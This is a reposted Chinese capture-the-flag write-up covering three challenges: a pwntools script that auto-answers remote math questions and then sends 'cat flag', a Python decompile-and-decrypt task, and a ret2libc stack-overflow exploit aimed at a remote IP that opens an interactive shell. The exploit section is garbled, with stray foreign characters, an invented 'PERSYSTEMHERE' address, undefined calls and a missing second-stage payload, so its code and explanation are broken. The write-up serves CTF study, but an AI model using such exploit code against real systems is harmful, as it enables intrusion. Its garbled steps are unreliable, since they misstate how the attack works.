本文共 1775 字,大约阅读时间需要 5 分钟。
题目描述:这是一个基于数学计算的简单题目,系统会要求回答150个计算题,每个题目都有严格的作答时间限制。解决方法是通过脚本自动化操作。
解决方法:
from pwn import *context.log_level = 'debug'p = remote("183.129.189.60", 10034)n = 0while n < 150: p.recvuntil("Math problem: ") math = p.recvuntil("=")[:-2] p.sendline(str(eval(math))) sleep(1) n += 1else: p.sendline("cat flag")
题目描述:这是一个涉及 Python 反编译的题目。通过反编译工具可以获取原始代码。
解密思路:
反编译工具(如Easy Python Decompiler
)可以帮助我们解密加密的 Python 源码。源码中的算法主要包含两个部分: 加密算法:
num = ((input1[i] + i) % 128 + 128) % 128
简化为:(input1[i] + i) % 128
解密算法:
通过逆向操作,从尾部到头部对列表进行异或操作可以恢复原字符串。最终解密代码:
a = ['\x1f', '\x12', '\x1d', '(', '0', '4', '\x01', '\x06', '\x14', '4', ',', '\x1b', 'U', '?', 'o', '6', '*', ':', '\x01', 'D', ';', '%', '\x13']l = len(a)la = map(ord, a)for i in range(l-1, 0, -1): a[i-1] = a[i-1] ^ a[i]code = ''for i in range(l): num = (a[i] - i) % 128 code += chr(num)print(code)
题目描述:这是一个简单的栈溢出题目。漏洞点在于溢出变量的大小,需要找到合适的yz为平台搭建攻击。
解决方法:
通过 신중地 构造 I 字符串,覆写 EIP 地址,最终触发 ïþ模式。通过 GDB attache 能够 debugger 求出 PERSYSTEMHERE 地址,并通过构造 payload trigger /bin/sh 命令。最终EXP:
# coding:utf-8from pwn import *context.log_level = 'debug'elf = ELF('./easy_pwn')local = 0if local: p = process('./easy_pwn') libc = elf.libcelse: p = remote("183.129.189.60", "10025") libc = ELF('./libc6-i386_2.23.so')main = 0x80492F5def sda(a, s): return p.sendafter(a, s)def sla(a, s): return p.sendlineafter(a, s)def rc(s): return p.recv(s)def ru(s): return p.recvuntil(s)pay = 'I' * 0x10pay += p32(elf.plt['puts']) + p32(main) + p32(elf.got['puts'])sl(pay)ru('\n')puts_addr = u32(rc(4))libc_base = puts_addr - libc.symbols['puts']system = libc_base + libc.symbols['system']binsh = libc_base + libc.search("/bin/sh\x00").next()harray();sla(pay)p.interactive()
转载地址:http://rlppz.baihongyu.com/